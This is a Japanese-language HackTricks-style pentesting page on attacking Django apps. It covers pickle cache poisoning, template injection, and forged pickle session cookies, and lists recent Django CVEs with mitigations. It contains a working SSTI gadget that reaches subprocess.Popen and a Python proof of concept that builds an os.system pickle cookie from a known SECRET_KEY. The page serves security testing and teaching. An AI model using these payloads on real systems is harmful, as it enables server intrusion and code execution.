90 lines
6.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Django
{{#include ../../banners/hacktricks-training.md}}
## キャッシュ操作によるRCE
Djangoのデフォルトのキャッシュ保存方法は [Python pickles](https://docs.python.org/3/library/pickle.html) で、[untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) とRCEにつながる可能性があります。**攻撃者がキャッシュへの書き込み権を得られれば、この脆弱性を基盤サーバ上でのRCEにエスカレートできます。**
Djangoのキャッシュは次の4つのいずれかに保存されます: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16)、または[database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)。Redisサーバやデータベースに保存されたキャッシュが最も可能性の高い攻撃ベクトルRedis injection や SQL injectionですが、file-based cache を使って任意書き込みをRCEに変えることもあり得ます。メンテナはこれを非問題としてマークしています。cacheファイルのフォルダ、SQLテーブル名、Redisサーバの詳細は実装によって異なることに注意してください。
この HackerOne レポートは、SQLite データベースに保存された Django キャッシュを悪用する優れた再現例を提供します: https://hackerone.com/reports/1415436
---
## Server-Side Template Injection (SSTI)
The Django Template Language (DTL) は **Turing-complete** です。ユーザー提供データが *template string* としてレンダリングされる場合(例えば `Template(user_input).render()` を呼ぶ、または `|safe`/`format_html()` によって自動エスケープが除去される場合)、攻撃者は完全な SSTI → RCE を達成する可能性があります。
### 検出
1. `Template()` / `Engine.from_string()` / `render_to_string()` への動的な呼び出しで、*いかなる* サニタイズされていないリクエストデータが含まれていないか確認する。
2. 時間ベースまたは算術のペイロードを送る:
```django
{{7*7}}
```
レンダリング結果に `49` が含まれる場合、入力はテンプレートエンジンによってコンパイルされています。
### RCE へのプリミティブ
Djangoは `__import__` への直接アクセスをブロックしますが、Pythonのオブジェクトグラフには到達可能です:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
`subprocess.Popen` のインデックスPython ビルドによって約 400500を見つけ、任意のコマンドを実行する:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
より安全な汎用ガジェットは、`cls.__name__ == 'Popen'` になるまで反復することです。
同じガジェットは、ユーザー入力を誤って処理する **Debug Toolbar****Django-CMS** のテンプレートレンダリング機能にも有効です。
---
### 参照: ReportLab/xhtml2pdf PDF export RCE
Django ベースのアプリケーションは、ビューを PDF としてエクスポートするために xhtml2pdf/ReportLab を統合することが一般的です。ユーザー制御の HTML が PDF 生成に流れ込むと、rl_safe_eval が三重括弧 `[[[ ... ]]]` 内の式を評価し、コード実行を可能にするCVE-2023-33733。詳細、ペイロード、および緩和策:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
---
## Pickle-Backed Session Cookie RCE
設定 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` が有効(または pickle を逆シリアライズするカスタムシリアライザが使われている場合、Django はビューコードを呼び出す**前に**セッションクッキーを*decrypts and unpickles*します。したがって、有効な署名キー(デフォルトではプロジェクトの `SECRET_KEY`)を所持しているだけで即座にリモートコード実行が可能になります。
### エクスプロイト要件
* サーバーが `PickleSerializer` を使用している。
* 攻撃者が `settings.SECRET_KEY` を知っている、または推測できることleaks via GitHub、`.env`、エラーページなど)。
### 概念実証
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
Send the resulting cookie, and the payload runs with the permissions of the WSGI worker.
**緩和策**: デフォルトの `JSONSerializer` を維持し、`SECRET_KEY` を定期的にローテーションし、`SESSION_COOKIE_HTTPONLY` を設定してください。
---
## 最近2023-2025の、Pentesters が確認すべき影響度の高い Django CVE
* **CVE-2025-48432** *Log Injection via unescaped `request.path`*(修正: 2025-06-04。攻撃者が改行や ANSI コードをログファイルに紛れ込ませ、下流のログ解析を汚染できる。Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2。
* **CVE-2024-42005** *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8)。JSON のキーを細工してクォートから脱出し、任意の SQL を実行できる。修正バージョン: 4.2.15 / 5.0.8。
対象に応じて、`X-Frame-Options` のエラーページや `/static/admin/css/base.css` のハッシュでフレームワークの正確なバージョンを常にフィンガープリントし、上記をテストしてください。
---
## References
* Django security release "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" 2025-06-04.
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" 2024-08-11.
* 0xdf: University (HTB) xhtml2pdf/ReportLab CVE-2023-33733 を悪用して RCE を取得し AD にピボットする [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
{{#include ../../banners/hacktricks-training.md}}